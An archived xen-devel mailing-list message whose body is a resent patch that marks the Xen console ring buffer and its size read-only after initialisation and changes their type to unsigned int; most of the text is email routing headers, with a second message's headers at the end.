 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a562c88-b4ea-0a2a45070019-94a38ff1f4a6-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:33:13 +0200
Received: from pps.filterd (m0384717.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66ECX6gk2549608
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:33:12 GMT
Received: from cy7pr03cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11010049.outbound.protection.outlook.com
 [40.93.198.49])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4fdaygmetp-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:33:11 +0000 (GMT)
Received: from BY5PR04CA0010.namprd04.prod.outlook.com (2603:10b6:a03:1d0::20)
 by SA1PR16MB6487.namprd16.prod.outlook.com (2603:10b6:806:3e5::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Tue, 14 Jul
 2026 12:33:07 +0000
Received: from SJ1PEPF0000231B.namprd03.prod.outlook.com
 (2603:10b6:a03:1d0:cafe::8f) by BY5PR04CA0010.outlook.office365.com
 (2603:10b6:a03:1d0::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend Transport; Tue,
 14 Jul 2026 12:33:06 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 SJ1PEPF0000231B.mail.protection.outlook.com (10.167.242.232) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Tue, 14 Jul 2026 12:33:06 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66EBS8P8190560
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:33:06 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4wqtxdb-7
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:33:05 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jcJrwzqw9UUmPjcJswUC2A; Tue, 14 Jul 2026 12:33:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=qoG
	3Gz8ZSeVLoThnROpMdrDqPQyPBZqS+jU5PPXUnWs=; b=GWXjwdSTGPZ1e0sVEl0
	vEDQ3HHCje2jeq2j1LdbklO9mb6hTCKh22eC7bdayKNDm6j01rupLem4hDIL2NNE
	nhwh7hdOoVwrmLrTSA5f36rSMfUZBQ69rJNdsIy/Yayse4TCP52w9AlBRW6PVcAB
	Rmc6B8k3ulPWDNN4oueCO6q/3tTIUVQSP39ddi3l63wVY+nm1PEdTpocAXiKAEMc
	StNyVBaJMXRmkoGubUcNkJWNH+CDLIbrEy5JEXI0B0fiCw+BKZsWoyPd28h6ZYlu
	QC+jzRP5I43IHrBQddRcx9WDTmfO+dY9zM3/isigA/quDfP5ef9BJF3vo235Oqy5
	o7w==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wMH1f2dV5L0s2ZqhZv40mjuejmCFInfpgxHvWLe4mrqaE01z9lzvqFwpscRQdgoY/cHeBeSsjGdWYOkuepkttVi1dQ7Lxjdmwvxc6SogBnKZaFAJ/OGH8Dg+0JC64BTaEmXmjSqWNWjSgKpMwg+/VRdCo+ENYJQesr1124AMC6YpT01n6W1mZ7OJkLJTK6L9Fxo5Fy+6kI1ONji0A3gFHnD7okYyifo7J72YdbHtVuHKi9I8QsjKD2Yvev3CZvrIhSllQmPU4qYA5zgyB7tudib8onAodmkkCRZHSgJeUsBczOcteSa6qIInfrJWl1xPb/H5B4oxBe+u+6L47tvNsQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=qoG3Gz8ZSeVLoThnROpMdrDqPQyPBZqS+jU5PPXUnWs=;
 b=fmnGpMb0sNrpwDWT/0v8wUqevG9nELhzOQd+rVq8s4m8FTXDJZqfSGmBlLiMWetbm8gCSC9A00Jyy8RLjW/UTfPWClvLv6W1Rk7Rkc3HkXkx1k6iqXXOVFouO3PUbgsj/msOy3VfI7CE+dHH7u8EuFPViZ7X8SspClyHo45bGX6GokJXhen1R1hUKOohlT41kndBbyCj0A7evY+c3Y6qjmmZaoxtMJxKbPD5U96fBxlfgd2R4KPlczVydcwH0ozVmuvV/JwH/F8TvBdNi4lx3oTqPV4VeFkys869zAg2kRBBMyjrZU4VgS7aWenGUmz04JBShEwRPWSeizKNHKMuLA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=qoG3Gz8ZSeVLoThnROpMdrDqPQyPBZqS+jU5PPXUnWs=;
 b=RMp+hWFfOYV/pF5rbB4Xc7DsEb/czhC9+8636k4LBuWtRfnpgJK/y2UvnAyC5Y01cP/OonuxQkUQO08PDPJjKGNimf3F7F3Ai7MWOwGOi44K/RNDw6P/J0dT52UxROFR6ihOlJ6EYVsVFmX10bnTH7mqCZkOOST5ykz7RJ6hq6g=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=qoG3Gz8ZSeVLoThnROpMdrDqPQyPBZqS+jU5PPXUnWs=; b=
	Z6DB/ojHdsakafqqNIL5U+/A6wXdkoKFbBZgrsnVz6QnruQ/rrCMXdgsnRidxLuC
	Sz7A4DnOiuvCUCduUVCKa/DotVzQVbB2OMO88PbiqsVPpuhzdpURjxb8WTF7kGri
	a4XRJPkAJCkgB27s6e5/KgOf+6vFQJRV301viVXUrh+sUvq/onExaLaEaj3fsftl
	I4Z6e4xR93Qj2+0Airx/YwPDEzaWn6MWg0CUnjG30STZxXKMtOfWw3QpZetQNjff
	pWnx++Z8CcyQvBKHiCE0SUMWC4YQ95qTE7mX7H201exVlNRjh5gFHOp7hlRLCidz
	QWdJKfYFf+BJaQIBUs5HAQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=qoG3Gz8
	ZSeVLoThnROpMdrDqPQyPBZqS+jU5PPXUnWs=; b=cMy4fDrQU8szWhVA7j8bBfW
	kI1Q7iHzmTQ8VH1zGxQ+soHO2e3mJ6C/QXkiB4ByIKSvejTWa+vIwxLT0tLgoTtb
	CNvtz3Sq9W+7JOy8iZNyX3rOOTcJF6vADjbOPIMzgHqXnVDf/zMl4A2BSU+iDqZj
	ktkuFCklU4yCE6/ABVhB/wU9ibMzjvlLoTEiwO0+hYk41E4Kv1yAISxuAzYUPWCa
	a2mmlrz6T4aWz03oMWjE/vhS3GeWYFu4R0knl16RLB1+q8oa/JVbYXLKYXueDyFp
	CjI2td8W5pM1mYiF2W5nepK8bSmB3WsLCQQZ0OYO1X3fxycHac0ueAFn5PXm2Vg=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jcJrwzqw9UUmPjcJswUC2A
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: jbeulich@suse.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, dmukhin@ford.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, xen-devel@lists.xenproject.org
Subject: [PATCH RESEND v7 1/7] xen/console: promote conring{,_size} to __ro_after_init
Date: Tue, 14 Jul 2026 05:32:34 -0700
Message-ID: <20260714123233.1114737-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com>
References: <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-14_03,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 phishscore=0 malwarescore=0 lowpriorityscore=0 spamscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607140130
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF0000231B:EE_|SA1PR16MB6487:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: f031d39d-6b9e-498f-315c-08dee1a40e47
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|82310400026|36860700016|23010399003|22082099003|18002099003|56012099006|11063799006|3023799007|13003099007|6133799003;
X-Microsoft-Antispam-Message-Info:
	h2o4tGY0KR+c5jMLmbh58Nq6ZM0ZASlsh9dQjM41ljxsAiEExn9E4PFfPz5SSKtBgHXo6wMN/RxGT0sQBjVvlXNnrdqw6vn4QLcD9Mcds6kfJHuXcS4WccEtfW2tdQlIg03EsaE2/PHDRfQjbof2eKjTjsdX8llcJhA9upyVI/JSfb7GDBPeMzQbVRZuQx0p+RI7Abo6TlSI6xwEoWIuUrVs+lsz9sQbOAR0Z6ix86YAw8En30UCCh/fh22fc6U0YbVde3RiyMprVI206Efgo3sb3YOpT4dgSuf0VRZ6tfLwa6D9WKaibriie4+I31zAm74YsOm3SxB3FitozHbOjHkqtekm2Z5qYFpJW4jV3VPMvDA5sbD/xqT6IBS/LlnCD5APlWzbk7o1AIatDuriwtU8QO1qXvGr/ai+PFxq4t6Wc49Uhjb7MpTSbTtHF0jWYsT5Po8paTCUnaX0/f7T8uR9WXXNhtK8tkgAv3r3ZP0Evl9F7rX/lSKUUFSVeYYG7BrRfNqfWK0KP2y5gubRZkVjaOJnLV5c7U3mDw5Y3E5ofTv6LvJy7+5REafCYqJV9OuQG7oSI/xhFUSIQUk7oPUDHwaN7AN1p52N2KoVtc3yX1R6rxiQqB0UV/7lIyuLic1+W+io8faFTiFjKcXZt3cGLqNQnJYKbk3KzF6DKLaQSsUgbFc2KK/VP1zIH2TCIa3/t8KzLkI507Xpiy1sHg==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(1800799024)(82310400026)(36860700016)(23010399003)(22082099003)(18002099003)(56012099006)(11063799006)(3023799007)(13003099007)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	fhRevS2aXG6i3Sj1Tx8xdTwrIF9TZsCdtDKbCLxEHSo6CqNGGdAR3MUZsN2HWtfoJeWjKRx7YKijLwQbJlSqHnLKCOKJZM6pHRRsztunmQfEFo+EjOOYILWRJJACvTwN1qTKLJNEgRP2BMmbDekHVxtooSYhohe85ObyDOooIVvt37ANkf8QN4FGtn6KWS38aRjsoVey+Y1zMZIe7Yl1Lblh7HkofPveR5a3abI5DuEl4gjOPOJW+BR3KUEI3SrkPNlQIV1l/3S7isD+z4+Iykn+rHmx9lwwnz7NRUMs8FqF0qj4jwLlACgS9/ds7tv9jJFAZF5yoZl9SdJO9asEPoQzmYo7KxE/fchUCHyV0zyG5bZAG9l9kq8rZWte9xstg4ccz/LrDFZVOTtRW2tOP4ZHGEUXU/m7drCTcJDLoUXDHpJCDVvVD/tCQFmO/Cbp
X-Exchange-RoutingPolicyChecked:
	XD0RuXdg4MZcq9Afi9ljBRMTgnCNHg5hFM3crvLDGasoWYi8tWeIirHBPv0q5LuRRqq5lz3Nu9SICHInWIjet6KjebsQXsk4QZONZIrOT98h4ZiVvxLgXvoj9HZG9aiHOvs8IhPq+ookRmx/HLJU71rcDtXAHvqjCElkqHtr6Q1jr8253glQurlfoj743JR5gIFzqolOF+Vjn1nlHcmvdvFIi3C6U1LhXE+WUBEHG7yP46Bq2p2J6D+6aoQStVGcQaIft564Mye5nqFc/DwK5Dw1J1ECTREmlH+chP1qFqHk9aW11M+TLvgTs5ywpR5sF4voXnosD/llH7EhVMilpQ==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	XBJcJBasHIKm+1P4H9AwBLStTSCAZhNcfAlj/ICiRBdxAodQm/lOMwzR7l8Fy/HkTYSBt3p2IUKk2EWJX0V1hc7bNixHpnpioLNwbhoODp0fzKaT8XJfmh6Bi/9VB/y3ODEZy+FZGNSV1x2H/ky5mi3h5jqOiUpnof/vp4xY1kyDI7+66GjWz/pPYrxwTWGJPtRS3C3q4iptXnPQPPNLQZtyvGjAgYGaBZPijghqe+WnMHj+K8lOyXnYpoXxGAXs52huW/Utrxi9HoUBzFnzfLexBUMNBlrAR8YXm2M4e3/4GuTG/Jm+iYfayZu7jzizYFwrgG4Ad5Di7o5RKQsAHEEA054AXdvpdcC+RF13vZ/ZQMY72iFFWi0i33mBIS76kGu9QF2V+XdVPzZOOxLzOHSo4lTOsZiGBozjdOrMHaFBPvTKXnrm0MtilSS3p0VnFb8Ei9V9Em/ue9+LZkwierrPCuGtZ8um85mS0gFY45Ion3pPAT5GBRHeMOk4FSgviOjBJvXKhwA/eBNjGL1LjQmh+Ow0rfkC86wKrVKywunB0MrhDUCf8i1zEVEShUQfmjI14YYH78ELxVTU+4PXaeqhfwv7rpaTIQXMlPIbdfwP9abxEQ+JpYonom+DlKm4z4SWkoEeQzOsAEqzGesDBQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 12:33:06.3120
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: f031d39d-6b9e-498f-315c-08dee1a40e47
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF0000231B.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR16MB6487
X-Proofpoint-ORIG-GUID: 0DJcIJLu8KEVB9iM_pV_fmi3F7kBWDQI
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE0MDEzMCBTYWx0ZWRfXyqcHGwct5Eaz
 7wZTgqAy+5Sqp3gd6cu29G5J0/FH+bKLAfMnQGiQnzVSzlx/NkvM/8Ac4zSiLcSYq3Cj92oGyi8
 Qx68VKazDl/fSZsdfwkBJoBQks1k2WJwgzq552QRFTwgHMv4vPOo
X-Authority-Analysis: v=2.4 cv=LecMLDfi c=1 sm=1 tr=0 ts=6a562c87 cx=c_pps
 a=+3f3g5PcVU0WeXiSVbezXg==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=AHe91QgOk3R4nFVtG5At:22 a=VwQbUJbxAAAA:8
 a=iox4zFpeAAAA:8 a=cbNQJ9GKAAAA:8 a=tHz9FfFoAAAA:8 a=KJnTikxRzMM2nk4UrzYA:9
 a=3whSkbs7g9Me0DR5EJEX:22 a=WzC6qhA0u3u7Ye7llzcV:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE0MDEzMCBTYWx0ZWRfX+4ITlH6+3f5a
 63CTVSiqta805jORlx+3WlSfmIFxIlQ3WBWzdBrS4hNuwGRMmlpe0vpySP4zhbjdg3enlGDPGdB
 a1/f7DSX4qQM2aUErgJlwRqGcR/EmcK3CgWb45y/YyNvqgWVDykUoshaopyQ4HYGwMB59I3vTta
 925XTw1oWNFd/oVu67lQPsOtMPYwc8dn6RTy1Fh1SiWXYVO4wR3rJkekVYjiLOHwyCQo6UDDm1H
 /BcGgyIUK09TM/O0ESI1p1QBY8nHdP1xXJWSEQDy6qcYfiNHiV+vSRcaKDSLFehCb7Sf2MZ+ZXg
 6aDs3eml+pPioCpvL41UFgPjSpwu8WBAwl5BTCPD0YiddNUs+HQQxGT4Q6sGutBKmUdjEigwMix
 lDQz5wnbWEcLVwpvgP4032Bdm1mW4QuqLmxym2WefdeAL4potLTKLxEQLNCG6B0vWrOcisWKDR0
 DDSWJuJkzvgdoGArhhQ==
X-Proofpoint-GUID: 0DJcIJLu8KEVB9iM_pV_fmi3F7kBWDQI
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-14_03,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 suspectscore=0 malwarescore=0 spamscore=0 adultscore=0 phishscore=0
 priorityscore=1501 lowpriorityscore=0 bulkscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607140130
X-purgate-ID: tlsNG-ef75cf/1784032393-376D2AE4-95C3E521/0/0
X-purgate-type: clean
X-purgate-size: 1674

From: Denis Mukhin <dmukhin@ford.com> 

Both conring{,_size} should be RO after initialization is completed.

Change the conring integer parameters type to `unsigned int` as required
by CODING_STYLE.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Resending to include forgotten Jan's A-b from v5:
  https://lore.kernel.org/xen-devel/1579e081-b945-40b1-9a72-f6c5f7ed69ca@suse.com/

Changes since v6:
- rebased
- preserved Jan's A-b from v5
---
 xen/drivers/char/console.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index dbda7f259668..5ebbbf63c092 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -340,15 +340,15 @@ static void cf_check do_dec_thresh(unsigned char key, bool unused)
  */
 
 /* conring_size: allows a larger console ring than default (16kB). */
-static uint32_t __initdata opt_conring_size;
+static unsigned int __initdata opt_conring_size;
 size_param("conring_size", opt_conring_size);
 
 #define _CONRING_SIZE 16384
 #define CONRING_IDX_MASK(i) ((i)&(conring_size-1))
 static char __initdata _conring[_CONRING_SIZE];
-static char *__read_mostly conring = _conring;
-static uint32_t __read_mostly conring_size = _CONRING_SIZE;
-static uint32_t conringc, conringp;
+static char *__ro_after_init conring = _conring;
+static unsigned int __ro_after_init conring_size = _CONRING_SIZE;
+static unsigned int conringc, conringp;
 
 static void cf_check conring_notify(void *unused)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 13:36:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 13:36:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362390.1614214 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdId-00013A-8u; Tue, 14 Jul 2026 13:35:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362390.1614214; Tue, 14 Jul 2026 13:35:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdId-000133-67; Tue, 14 Jul 2026 13:35:51 +0000
Received: by outflank-mailman (input) for mailman id 1362390;
 Tue, 14 Jul 2026 13:35:50 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjdIc-00012x-Kq
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 13:35:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjdIb-00BfDU-IF
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 15:35:49 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a563b2d-2eae-0a2a0a5409dd-0a2a4508d934-20
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:35:49 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a563b35-f659-0a2a45080019-d155dd35d535-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:35:49 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47c6e9a694bso2404099f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 06:35:49 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-495087366c0sm145127875e9.7.2026.07.14.06.35.47
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 06:35:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1784036149; x=1784640949; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=gcX74k/358IG8rk50bDhHQk6v6yxS+6nIWIEc4UqUHw=;
        b=dwHjF2nWiDeVJlaLr0XSBciPP/t+yvWVsYy+vnHJin8pKMk0zCsmD1/bGpHzkQ6/TV
         2xMbcSQHPHDEFV0F31MFhvyF/8SgdrpefqBX81mbDqhGlShtsbevVq1DRQnqwhL3S+bJ
         QYdeWfcMVGL3chglntXRI+3PvZCZ2BZmKQgoA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784036149; x=1784640949;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=gcX74k/358IG8rk50bDhHQk6v6yxS+6nIWIEc4UqUHw=;
        b=K9DVyXisK6aQ1AZi3NY+xpgQ/Q8aRRGJWhp9w7X/VgLF/Qul6PoDc1R4STu3AT4Zpe
         HGuOfJ1NHDKKPxhBokIcJVIrVKkAUwph43eg8WMNe7LWtZTOSAfuMUhzYK1mRxmsKWlj
         FyPco/cydIKLStHLEZQu/QsGoOGUrELq+zEWkaDPU1mVdsi0Z5v84hoRHJfezwv9/kmy
         BblqFLZC4yah5puzTspjgRcGrZzWJD5sOkMAoRXDTYFbQPdnru7hLBeszqUh/7z8pHwI
         P7o9onqEYJ8i49MfMqu1GhkzuC5hcs8OS1S/HXb6kpCLT1PoS+duTR7LK7btqc0LDni/
         xpaQ==
X-Gm-Message-State: AOJu0Yx4xvgZjvO/WC4JtrKhqmFp79tIlWFwq2QajSViE62l9t2bAXRS
	K0QSXm8ji34ZgftorIKYCCHp9pxzaSAUqMTAZm2OGGMlsC2CHUOJ4BbRSkwyzb7/sfexj7lhPqa
	ZvAh9
X-Gm-Gg: AfdE7cllT3nta4LCVVoMSF44hiz9WVMEU4/gV38sb//RW49pLjHmQl/spoBSka8yNdN
	6FFSP/Yqjo7VriEjXXRsTbQzvzSmwRJveEHjva+AtIJ6A9txaTQk5R6PUx7+KUOXS2nbo+sxMH+
	gY/85DG+orC+29eXdr2BLFYFHZjAt/at42k4pQ1FxovWLmpqbsNSok6hYlxPYqMoEUvdz7uSHXi
	H0R1y+MVIHrsbeiBATeEGCOA82g1qE8Tz/QudheaJcATEnRa0FD48hIAUWeOjb5gvyq/q16FjRk
	Zw2EEj+h4/3gdAQ1UnY0NvtQYwW8yKFvJ0KYYGmv4gJKMoEzMcobt60nx5mrjJve7RIIOZJCyfM
	C2g6gBP5qQPJ5dWiHDtPWhUoDC45uBSxEcQt3zRih4YJ7/TZ91HmlWhm3AiNhhl+MB2Lfk5g9/l
	S7V/QgByDAdbqj8yywbq93veeTLzvKFijvegFl1SKhVPy1u5BBFTXZ2ZMQcTiQhjI=
